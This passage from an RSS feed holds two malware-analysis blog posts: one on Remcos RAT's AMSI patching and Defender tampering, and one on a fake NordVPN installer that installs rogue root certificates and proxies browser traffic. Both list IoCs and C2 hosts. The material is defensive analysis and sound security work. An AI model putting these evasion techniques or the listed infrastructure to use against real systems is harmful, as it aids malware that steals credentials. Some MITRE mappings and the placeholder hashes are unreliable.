List</a>.</p><p>(so that nothing gets checked and the malware is let go scot-free)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJy7B5yMlw7moT6rOlr-Wg.png" /><figcaption>DisableWindowsDefender()</figcaption></figure><h4>payload2.exe—BypassStub</h4><p>This one is wayy interesting than the 1st one. payload2.exe is namespaced as <strong>BypassStub</strong>, and appropriately so.</p><p>It primarily deals with bypassing security controls so that payload1.exe , which contains the actual malicious functionalities, can execute properly without any problems.</p><blockquote>payload2.exe primarily deals with neutralizing <a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a>, an anti-malware Windows standard that is supposed to, well, protect your system against malware.</blockquote><blockquote>Remcos effectively uses <a href="https://en.wikipedia.org/wiki/NOP_(code)">NOP instructions (0x90)</a> to render <a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer">AmsiScanBuffer()</a>, the primary method which AMSI uses to monitor the buffer, completely useless.</blockquote><blockquote>We also see that Remcos uses <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect">VirtualProtect()</a>, a well-known function used for changing memory permissions, to enforce RWX (Read-Write-Execute) permissions so that the malware gains a superior set of rights.</blockquote><p>Taking a look at the image, we see that everything is well explained:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*vwVSl4Ef7qKUwZtc_mrXEQ.png" /><figcaption>payload2.exe—BypassStub by neutralizing</figcaption></figure><h4>Detailed Explanation:</h4><ol><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer">AmsiScanBuffer()</a></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*VfHSASKJcczrswXzBndJLA.png" /><figcaption>AmsiScanBuffer()—5 NOPs (0x90 = 144) render the function useless.</figcaption></figure><p>2. <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect">VirtualProtect()</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*ZquG0hPLpc9SJxE7vDiwDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*85HcGVwWkukJZ7VrnEFcXQ.png" /><figcaption>VirtualProtect() — flNewProtect : 0x40 = 64U is the constant value for RWX.</figcaption></figure><p>-&gt;Also saw another interesting function — GetExportAddress()</p><p>This function helps the malware to evade EDRs because it manually does what GetProcAddress—a popular WinAPI monitored by EDRs to detect AMSI patching, does, among other use cases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rEhh2PH80jDbv3Aqnsxx9g.png" /></figure><p>_________________________________________________________________</p><h4>Network Traffic Analysis</h4><p>Monitored network traffic using Wireshark and noticed suspicious entries as expected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPYrFgG-O_f3BMZDWGqcTg.png" /><figcaption>IoC’s</figcaption></figure><p>Filtering for HTTP traffic, we notice that the initial encrypted requests are visible here…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*ardhgVbMKBj_oTmdYKP1pg.png" /><figcaption>HTTP traffic</figcaption></figure><p>Noted down all potential IoCs and attack methodologies.</p><p>_________________________________________________________________</p><h3>Threat Mapping</h3><pre>| Category             | Description                                       |<br>|----------------------|---------------------------------------------------|<br>| Threat Family        | Remcos RAT                                        |<br>| Risk Rating          | HIGH (8.6/10)                                     |<br>| Threat Type          | Remote Access Trojan / Infostealer                |<br>| Initial Access       | Malspam, phishing attachments, cracked software   |<br>| Capabilities         | Remote control, keylogging, credential theft      |<br>| Persistence          | Registry Run keys, Scheduled tasks                |<br>| C2 Method            | HTTP/HTTPS with gate.php endpoints                |<br>| Impact               | Data theft, surveillance, system compromise       |</pre><p>_________________________________________________________________</p><h3>IoC’s</h3><p><strong>File System Indicators:</strong></p><ul><li>Creation of <strong>PS_Transcripts</strong> folder on Desktop</li><li>Startup persistence key or folder creation: C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Network89398Man.cmd</li><li>In-memory extracted payloads (two .NET executables): payload1.exe (Main RAT), payload2.exe (BypassStub – AMSI/Defender bypass)</li></ul><p><strong>Process Indicators:</strong></p><ul><li>Suspicious short-lived cmd.exe execution with automated text input</li><li>WMI queries executed by PID 2872 (AV enumeration)</li><li>Process performing memory writes + VirtualProtect calls (RWX modification)</li><li>NOP patching of AMSI (0x90 sequences in memory)</li></ul><p><strong>Registry Indicators:</strong></p><ul><li>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\&lt;random&gt;</li><li>Defender exclusion entries modified under:<br> HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\</li></ul><p><strong>Network Indicators:</strong></p><ul><li>Outbound HTTP GET/ requests containing encrypted payloads (BASE64-like + randomization) numeric Encoded Data (130+134…)</li><li>Suspicious domains: api.ipify.org, ads.hostloads.xyz, /BAGUv13u2/gate.php</li><li>User-Agent: Windows Defender/1.1 (not a real one; it is a malware impersonation signature)</li></ul><p><strong>Memory Indicators:</strong></p><ul><li>AES decryption routines in PowerShell</li><li>Presence of unpacked .NET assemblies in memory</li><li>RWX memory regions created via VirtualProtect</li><li>AmsiScanBufferpatched with 5× NOP instructions (0x90)</li></ul><p>_________________________________________________________________</p><h3>MITRE ATT&amp;CK Mapping</h3><pre>| Tactic                | Technique (ID)                                    | Evidence From Analysis                                                 |<br>|-----------------------|---------------------------------------------------|------------------------------------------------------------------------|<br>| Initial Access        | Phishing (T1566)                                  | Delivered via malspam / lure attachments (CMD-dropper).                |<br>| Execution             | Command-Line Interface (T1059.003)                | CMD script executes payloads and types commands automatically.         |<br>|                       | PowerShell (T1059.001)                            | AES + Gzip decryption of payloads performed through PowerShell.        |<br>|                       | User Execution (T1204)                            | Requires victim to execute the CMD file.                               |<br>| Persistence           | Registry Run Keys (T1547.001)                     | HKCU Run entry for startup persistence.                                |<br>|                       | Startup Folder (T1547.001-alt)                    | Copy created in Startup folder (Network89398Man.cmd).                  |<br>|                       | Scheduled Task (T1053.005)                        | Observed in persistence routines inside payload1.exe.                  |<br>| Privilege Escalation  | Abuse Elevation Control Mechanism (T1548)         | Use of VirtualProtect for RWX memory indicates privilege manipulation. |<br>| Defense Evasion       | Obfuscated/Encrypted Files (T1027)                | CMD is heavily obfuscated; AES + Gzip payloads.                        |<br>|                       | AMSI Bypass (T1562.001)                           | AmsiScanBuffer patched with five NOPs (0x90).                          |<br>|                       | Security Software Tampering (T1562.004)           | Windows Defender exclusions created across all drives.                 |<br>|                       | In-Memory Execution (T1620 / T1055)               | Payloads decrypted and executed in memory (fileless).                  |<br>|                       | VirtualProtect Memory Permission Change (T1134.001)| RWX memory allocation to run decrypted payloads.                      |<br>| Credential Access     | Keylogging (T1056.001)                            | Remcos capability set includes keystroke capture.                      |<br>|                       | Clipboard Data Capture (T1115)                    | Clipboard monitored per RAT behavior profile.                          |<br>| Discovery             | System Information Discovery (T1082)              | Collects system details, uses WMI for AV enumeration.                  |<br>|                       | Security Software Discovery (T1518.001)           | WMI query by PID 2872 to check antivirus status.                       |<br>| Command &amp; Control     | Application Layer Protocol: Web (T1071.001)       | HTTP(S) C2 via gate.php endpoints; encrypted GET payloads.             |<br>|                       | Ingress Tool Transfer (T1105)                     | C2 delivers further stages or configs via HTTP requests.               |<br>| Exfiltration          | Exfiltration Over C2 Channel (T1041)              | Data/keylogs/screenshots sent through HTTP traffic.                    |<br>| Impact                | Data Manipulation (T1565)                         | Ability to modify configuration, files, system state.                  |<br>|                       | Account Access / Credential Theft (T1539/various) | Steals credentials, browser data, keystrokes.                          |</pre><p>_________________________________________________________________</p><p>That’s all from my side today.</p><p>Do follow me for more technical stuff like this!!</p><p>Signing off, <a href="https://www.linkedin.com/in/rd-tarun/">RDT</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ffe2e244c2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Your VPN Installer is Actually Malware]]></title>
            <link>https://medium.com/@tarunrd77/when-your-vpn-installer-is-actually-malware-83315f42586b?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/83315f42586b</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Tue, 04 Nov 2025 14:08:59 GMT</pubDate>
            <atom:updated>2025-11-04T14:08:59.930Z</atom:updated>
            <content:encoded><![CDATA[<h4>Reverse Engineering a Proxy-Based Credential Harvester Hidden in a NordVPN Lookalike <em>(Real Analysis + IOCs)</em></h4><p>Hi all, today I’ll be doing what will be my most practical analysis yet. I’ve got a <a href="https://bazaar.abuse.ch/sample/45e50aaff3991801924650d05d84750ae94f0900c6238eaed4fc79fd2fb9cdc3/#yara">file</a> that is supposedly just a normal NordVPN installer but is in disguise, highly malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*Fd42xbkmtDTJyHsJa7sGPw.png" /><figcaption>the file at hand — an installer for NordVPN.</figcaption></figure><p>_________________________________________________________________</p><h3>Executive Summary</h3><p>This analysis examines a sophisticated malware campaign masquerading as a legitimate NordVPN installer. The malicious executable employs multiple layers of obfuscation and implements a <strong>Man-in-the-Middle (MITM) attack</strong> capable of intercepting all HTTPS traffic from infected systems across all major web browsers.</p><p>_________________________________________________________________</p><h3>Key Findings</h3><h4>Attack Methodology</h4><ol><li><strong>Social Engineering:</strong> Disguised as legitimate NordVPN installer to build false trust</li><li><strong>Multi-Stage Payload:</strong> Uses AES-256 encryption to hide malicious code from static analysis</li><li><strong>Fake CAPTCHA:</strong> Deploys deceptive CAPTCHA page (capclap[.]online) to appear legitimate and delay execution</li><li><strong>Certificate Injection:</strong> Installs rogue X.509 certificates to enable SSL/TLS interception</li><li><strong>Universal Browser Compromise:</strong> Systematically modifies shortcuts (.lnk files) for Chrome, Firefox, Edge, and other browsers</li><li><strong>Proxy Redirection:</strong> Routes all browser traffic through attacker-controlled proxy infrastructure</li></ol><h4>Impact Assessment</h4><pre>| Category             | Impact                                                                 |<br>|----------------------|------------------------------------------------------------------------|<br>| Data Confidentiality | CRITICAL–All HTTPS traffic can be decrypted and stolen (banking credentials, passwords, session tokens, personal information) |<br>| System Integrity     | HIGH–System-level certificate store compromised                   |<br>| Detection Difficulty | HIGH–Multi-layer encryption, legitimate process abuse (`mshta.exe`) |<br>| Scope                | CRITICAL–Affects all browsers and all HTTPS websites              |</pre><p>_________________________________________________________________</p><h3>Technical Analysis</h3><h4>P1: Finding out type of file…</h4><p>As usual, plopped the file into DIE to get a general idea of what it is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*DcxmykBSNaPmsC03RNnB8w.png" /><figcaption>DIE output: the only notable thing here is that its PDB file link is present—one piece of info that we’ll make use of very soon.</figcaption></figure><p>Checked entropy to see if it&#39;s packed or not,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7F1WmjGXghkrfAdogSiCrA.png" /><figcaption>98% packed, and PE Headers</figcaption></figure><p>Analyzed the file imports and its strings to see if anything can be fetched, and found some pretty interesting stuff….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*RruQOEkz6ComEOwCFYN1cw.png" /><figcaption>File Imports</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*DbIhXRz_ugtX17jFLdTWtw.png" /><figcaption>String Analysis—I’m laughing at the foreshadowing of what’s to come</figcaption></figure><p>Since nothing of use was obtained, I tried examining the file in PEStudio, and here’s where I finally got a significant breakthrough…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1o1cAnZxqnks4FBUJiK-vA.jpeg" /><figcaption>Debug directory/PDB path of the file (remember our DIE output??)</figcaption></figure><ul><li>The debug directory reveals a PDB path (D:\a\_work\...), a strong hint that the file was built in Microsoft’s Azure DevOps environment, since D:\a\_work\ is the default workspace used by their CI/CD builds.</li><li>The mention of coreclr and singlefilehost also shows that it’s linked to the .NET Core runtime—basically, this isn’t a random native program, but a<strong> .NET-based host executable</strong>, likely repurposed or bundled within the sample.</li></ul><p>I then tried opening the file in dnSpy to examine it dynamically, but it did not work for some reason. So I switched to ILSpy, and this time it worked properly. (i guess it had something to do with .NET versions of the compilers.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_9E3c59kjXcCYaOtjdXeQ.png" /><figcaption>ILSpy View of the PE</figcaption></figure><h4>P2: ILSpy and Fake CAPTCHA</h4><p>Found the entry point,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8hozyXF1lIQZ0wB1Xy2iA.png" /><figcaption>Entry Point: <strong>PyInt.Program.Main</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*LxdmP91uCQB9OBdNxGer-w.png" /><figcaption>Explored around….</figcaption></figure><p>Examining CaptchaFrm() gave a tremendous amount of hints as to what’s actually happening under the hood….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jwyaw_2SR4bZ502yswaFxw.png" /><figcaption>CaptchaFrm()</figcaption></figure><p>As we can see, CaptchaFrm() method is used to display and handle a CAPTCHA form inside a program session at https://capclap.online.</p><p>The OnWebBrowserNavigated() method checks if the browser navigates to this exact URL—as a signal that the user finished the CAPTCHA.</p><p>Examining the Run() method,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*P0Bymb_bIOD2cqpdE5z_hQ.png" /><figcaption>explanation for Run() method</figcaption></figure><p>Other methods present include:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*Uc3_ney4sYwTweaTmvv6yg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*GBibQ1hiqdmbp8ZLkRIxLA.png" /><figcaption>Navigate() &amp; DownloadFile()—self-explanatory methods</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*F6Is7nIGZx9RBjckghaOJw.png" /><figcaption>InitializeComponent()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*2fgDOR9xxlG31rynXXdiWw.jpeg" /><figcaption>Download Link for NordInstaller.exe</figcaption></figure><h4>P3: Breakthrough with the Installer.Run() Method</h4><p>Examined the Run() method present with Installer.Run()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*Giix3KKbnnYKvjxQPtMPdg.png" /><figcaption>Run()—creates another Installer.Run(), the main installer’s Run method</figcaption></figure><p>This proved to be an amazing choice. Explained below in detail:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQ1iKUXBUorTSad9qH2cow.png" /><figcaption>static Run() method’s explanation — cipherText[] is the encrypted code which we have to decrypt</figcaption></figure><p>Explored the other methods that were called in this:</p><p>We see that UpdateTask()contains 2 microservices: https://microservice-feeder1.com and /nordvpn.qqqqas , these 2 will prove to be essential for our analysis later on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*jfzxYJQej7oWE1-r0pibcA.png" /><figcaption>UpdateTask()</figcaption></figure><h4>P4: Identifying and Breaking Encryption</h4><p>Next, I explored the <strong>UnloadString() </strong>method (of Installer.Run()), which took a byte-array(cipherText[]here) as the input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*Qvmtjwtv-w2Ko3baj49Cqg.png" /><figcaption><strong>UnloadString()</strong>—notice <em>aes.Mode = CBC</em></figcaption></figure><p>We notice that the encryption standard present is <strong>AES</strong>, with both <strong>Key </strong><strong>k1 </strong>and <strong>IV </strong><strong>k2 </strong>present in the code (lucky for us):</p><p>Translated both k1 and k2’s code into actual inputs (put as image caption)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*Kt-SOB7A_5aBYeRe3C_UnA.png" /><figcaption>k1 = 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*RLW-eilhNmkVDqrTuLYftg.png" /><figcaption>k2 = 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10</figcaption></figure><p>Now, since we have both Key and IV converted to hex, all we need is the cipherText[] converted from decimal to hex, and then we get the plaintext[] using the AES decrypt algorithm in CyberChef (we can even use cmd).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*Wv604-DjzqKzx9h8De_3wg.png" /><figcaption>The array cipherText contains the AES-encrypted data which, when decrypted, reveals <strong>mshta.exe</strong></figcaption></figure><p>Decrypting, we get: <strong>mshta.exe</strong> how convenient this is for the malware; how awesome this is!!!!</p><blockquote>Upon some googling, I found out that <a href="https://www.mcafee.com/learn/what-is-mshta-how-can-it-be-used-and-how-to-protect-against-it/">mshta.exe</a> is actually not a unique name, it is a famous LOLBin code execution proxy.</blockquote><p>So we finally got to understand at least some part of how this malware is working…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJX1ndMcn9sBiDGG2Y6U2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*jfzxYJQej7oWE1-r0pibcA.png" /><figcaption>The UpdateTask[] array provides the command parameters or URLs used by the mshta.exe process, such as “<a href="https://microservice-feeder1.com">https://microservice-feeder1.com</a>&quot; and “/nordvpn.qqqqas.”</figcaption></figure><p>I now thought that a good approach from here would be to download the files present in the links and then try and examine them further. This did not work, though.</p><h4>P5: The Installer Class</h4><p>I found this huge byte of encryption in the Installer class. This used the same Unload() method as before, so let’s decrypt it using the same way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMWwZ9gVB7s5S_GlpeFomw.png" /><figcaption>Installer Class</figcaption></figure><p>Putting everything in CyberChef,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghEaYapqBmhP0wiz2_hYIg.png" /><figcaption>same method of decryption</figcaption></figure><p>I saved the resulting .exe as assembly_decrypt.exe and now shifted to analyzing this file, because it seemed more promising.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*ZhrccI2TYBqHO3m2o55NDw.png" /></figure><h4>P6: assembly_decrypt.exe</h4><p>Strings analysis for assembly_decrypt.exe file suggests that the file attempts to set up a proxy server with different user agents</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*wRgna_dDLTDBg5qokywnyw.png" /><figcaption>String analysis—proxy server and user agents….</figcaption></figure><p>Examining the main() function block, we find several things that just left me amazed at how this malware worked….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DFs7qB0EL727kCRGWnou5w.png" /><figcaption><strong>main() </strong>block</figcaption></figure><p>So basically this payload installs X.509 certificates (they’re like ID cards for users, devices, or services) onto the infected network, and now a proxy is added to route traffic of all web browsers.</p><p>Examining all the methods in main() ,</p><ul><li>ProcessShortcuts() searches directories for .lnk shortcuts and calls a modifier on each, logging shortcut-level errors but silently ignoring directory-level failures.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*XMu73b14GbOIOmBprjvCjA.png" /><figcaption><strong>.lnk (linker) </strong>files contain shortcuts (pointers) to different locations for different files, folders, etc.</figcaption></figure><ul><li>ModifyShortcutIfNeeded() Creates a WshShell COM object to open each browser .lnk and overwrite its Arguments (injecting requiredArgument and a generated --user-agent), then saves the change so the target executable always starts with those arguments.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjHdo8-H70nMuSaL3IP4wA.png" /><figcaption>ModifyShortcutIfNeeded()</figcaption></figure><ul><li>GenerateUserAgent() creates<strong> </strong>custom user-agent strings that embed tracking identifiers into every browser request.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*QZKXpDb_NyTbXNVRki_1qQ.png" /><figcaption>GenerateUserAgent()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eV3_-_4dIe5do0eUIcBibA.png" /><figcaption>GenerateUserAgent() — for different browsers</figcaption></figure><ul><li>Gecko… Modify() was present just for non-Chromium based browsers like Gecko…this ensured that the malware worked on every browser and not just Chromium-based ones.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IaXuIATPEBC0FWar0Gi0CA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*t2tujLEFI5WXVS8_KjJQjQ.png" /><figcaption>FindBrowserProfiles(), a subfunction call of Modify(), which does the actual logic.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*G0JTrfNOedPS4p6K5zU5mQ.png" /><figcaption>Modify()</figcaption></figure><ul><li>Another method relating to Gecko was ModifyPrefsJs()</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-f554-ebD_PN1Y-WiuaPg.png" /><figcaption>ModifyPrefsJs() — to modify the existing prefs.js</figcaption></figure><p>I saw ProfileSettings.Host , and was sure that this could lead to an IoC, and I was right!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*aNzTO_a7Q4xBSVNTYS4DKw.png" /><figcaption>Host Variable</figcaption></figure><p>The Host variable contained the IP address that the malware was going to use as a proxy.</p><h4>P7: Virus Total</h4><p>I put the IP address in <a href="https://www.virustotal.com/gui/ip-address/95.214.181.177/relations">VirusTotal</a>, and was able to see .lnk files as communicating mediums.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*4rJJwb2fNYrReunjXFCSZw.png" /></figure><p>To investigate further, I clicked on the first GoogleChrome.lnk() to just examine what’s there. And I found what I wanted…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TjwsoFm642udq1i2LoMM_w.png" /><figcaption>VT for GoogleChrome.lnk()</figcaption></figure><p>I searched for any other possible IoC’s; did not get anything.</p><p>_________________________________________________________________</p><h3>IoC’s</h3><pre><br>### Network Indicators<br>| Indicator Type | Value | Notes |<br>|----------------|-------|-------|<br>| Domain | capclap[.]online | Fake CAPTCHA hosting |<br>| Domain | microservice-feeder1[.]com | C2 infrastructure |<br>| URL | https://capclap[.]online/success | CAPTCHA completion endpoint |<br>| URL | https://microservice-feeder1[.]com/nordvpn.qqqqas | Payload delivery endpoint |<br>| IP Address | 95.214.181.177 | Proxy server (found in ProfileSettings.Host) |<br>| Port | 37121 | Associated port number |<br>| User-Agent (format) | `Mozilla/5.0 (Windows NT [version]; [architecture]; Bi=[ID]; Id=[hWID])` | Custom-generated string with embedded tracking identifiers |<br>| User-Agent (note) | Gecko-based includes `rv:[version]` | Firefox-style token present in some UAs |<br><br>### File Indicators<br>| Indicator Type | Value | Notes |<br>|----------------|-------|-------|<br>| File name (original sample) | NordVPN_Setup_x64 | MD5 / SHA256: *(add hashes from analysis)* |<br>| File name (decrypted payload) | assembly_decrypt.exe | Include hash from analysis |<br>| File name (downloaded payload) | NordInstaller.exe | Observed dropped payload |<br>| File modifications | Modified `.lnk` files | Shortcut modification used for persistence / execution |<br>| File hash (placeholder) | MD5 / SHA256 required | Provide computed hashes from analysis environment |<br>| PDB path | `D:\a\_work\...\coreclr\singlefilehost` | Azure DevOps CI/CD build signature (embedded PDB path) |<br><br>### Registry / Certificate / Scheduled Task Indicators<br>| Indicator Type | Field | Value / Notes |<br>|----------------|-------|---------------|<br>| Certificate | Type | X.509 certificate |<br>| Certificate | Store Location | `StoreLocation.CurrentUser` (standard user) or `StoreLocation.LocalMachine` (administrator) |<br>| Certificate | Store Name | `StoreName.Root` (Trusted Root Certification Authorities) |<br>| Certificate | Resource | `Resources.cert` (embedded in malware) |<br>| Certificate | Installation Method | Silent install using `OpenFlags.ReadWrite` |<br>| Scheduled Task | Name | &quot;EdgeUpdateService&quot; (masquerades as legitimate Edge updater) |<br>| Scheduled Task | Trigger | Every 30 minutes (`RepetitionPattern: 30L`, `TimeSpan.FromDays(365)`) |<br>| Scheduled Task | Action | Executes decrypted `mshta.exe` payload |<br>| Scheduled Task | Location | Root folder of Task Scheduler |<br>| Persistence | Note | Task survives reboot and runs indefinitely |</pre><p>_________________________________________________________________</p><h3>Threat Mapping</h3><pre>| Category              | Description                                   |<br>|------------------------|-----------------------------------------------|<br>| Threat Classification  | Advanced Persistent Threat (APT) / Infostealer |<br>| Risk Rating            | **CRITICAL (9.5/10)**                         |<br>| Sophistication Level   | High                                          |</pre><p>_________________________________________________________________</p><h3>MITRE ATT&amp;CK Mapping</h3><pre>Initial Access<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1566.001 | Phishing: Spearphishing Attachment | Malware distributed as fake NordVPN installer |<br>| T1189 | Drive-by Compromise | Potential distribution via malvertising for VPN software |<br><br>Execution<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1059.001 | Command and Scripting Interpreter: PowerShell | Likely used in conjunction with mshta.exe execution |<br>| T1218.005 | System Binary Proxy Execution: Mshta | Decrypted payload reveals mshta.exe used to execute malicious HTA content from microservice-feeder1[.]com |<br>| T1059.007 | Command and Scripting Interpreter: JavaScript | Executed via mshta.exe for fileless payload delivery |<br><br>Persistence<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1547.009 | Boot or Logon Autostart Execution: Shortcut Modification | ProcessShortcuts() and ModifyShortcutIfNeeded() systematically modify browser .lnk files to inject malicious arguments |<br>| T1553.004 | Subvert Trust Controls: Install Root Certificate | Installs X.509 certificates into system certificate store for SSL/TLS MITM capability |<br><br>Defense Evasion<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1027 | Obfuscated Files or Information | AES-256 CBC encryption of payload (cipherText[] array), 98% entropy indicating heavy packing |<br>| T1027.002 | Obfuscated Files or Information: Software Packing | DIE analysis shows 98% packed executable |<br>| T1140 | Deobfuscate/Decode Files or Information | UnloadString() method uses AES decryption at runtime to reveal mshta.exe payload |<br>| T1036.005 | Masquerading: Match Legitimate Name or Location | Masquerades as legitimate NordVPN installer |<br>| T1218.005 | System Binary Proxy Execution: Mshta | Abuses trusted Windows binary (LOLBin) to evade security controls |<br>| T1553.004 | Subvert Trust Controls: Install Root Certificate | Undermines SSL/TLS certificate validation |<br>| T1562.001 | Impair Defenses: Disable or Modify Tools | Certificate injection allows bypass of browser security warnings |<br><br>Credential Access<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1185 | Browser Session Hijacking | Proxy injection and certificate installation enables session token theft |<br>| T1056.001 | Input Capture: Keylogging | MITM proxy can capture all form submissions including passwords |<br>| T1539 | Steal Web Session Cookie | Decrypted HTTPS traffic provides access to authentication cookies |<br><br>Discovery<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1083 | File and Directory Discovery | ProcessShortcuts() searches directories for browser .lnk files |<br>| T1518.001 | Software Discovery: Security Software Discovery | FindBrowserProfiles() enumerates installed browsers (Chrome, Firefox, Edge, etc.) |<br>| T1614 | System Location Discovery | GenerateUserAgent() creates tracking identifiers unique to infected system |<br><br>Collection<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1005 | Data from Local System | Browser profile enumeration via FindBrowserProfiles() |<br>| T1185 | Browser Session Hijacking | Complete interception of all browser traffic through proxy |<br>| T1557.001 | Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning | Certificate-based MITM enables decryption of all HTTPS traffic |<br>| T1056.001 | Input Capture: Keylogging | All form data captured through MITM proxy |<br><br>Command and Control<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1071.001 | Application Layer Protocol: Web Protocols | C2 communication via HTTPS to microservice-feeder1[.]com |<br>| T1090.001 | Proxy: Internal Proxy | ProfileSettings.Host variable contains attacker proxy IP address |<br>| T1090.002 | Proxy: External Proxy | All browser traffic routed through external attacker-controlled proxy |<br>| T1573.001 | Encrypted Channel: Symmetric Cryptography | Uses HTTPS for C2 communication |<br>| T1102 | Web Service | Uses web services (capclap[.]online for fake CAPTCHA, microservice endpoints) |<br><br>Exfiltration<br>| Technique ID | Technique Name | Evidence |<br>|--------------|----------------|-----------|<br>| T1041 | Exfiltration Over C2 Channel | Stolen credentials/data transmitted via established proxy connection |<br>| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol | Traffic routed through proxy enables real-time data exfiltration |<br>| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage | Microservice infrastructure suggests cloud-based data collection |</pre><p>_________________________________________________________________</p><p>That is all from my side today.</p><p>Do follow me for more Malware Analysis!!</p><p>Signing off, <a href="https://www.linkedin.com/in/rd-tarun/">RDT</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83315f42586b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hancitor/Chanitor Trojan]]></title>
            <link>https://meetcyber.net/hancitor-chanitor-trojan-dbe73849c3c2?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbe73849c3c2</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[debugging]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 09:38:08 GMT</pubDate>
            <atom:updated>2025-10-07T09:44:48.469Z</atom:updated>
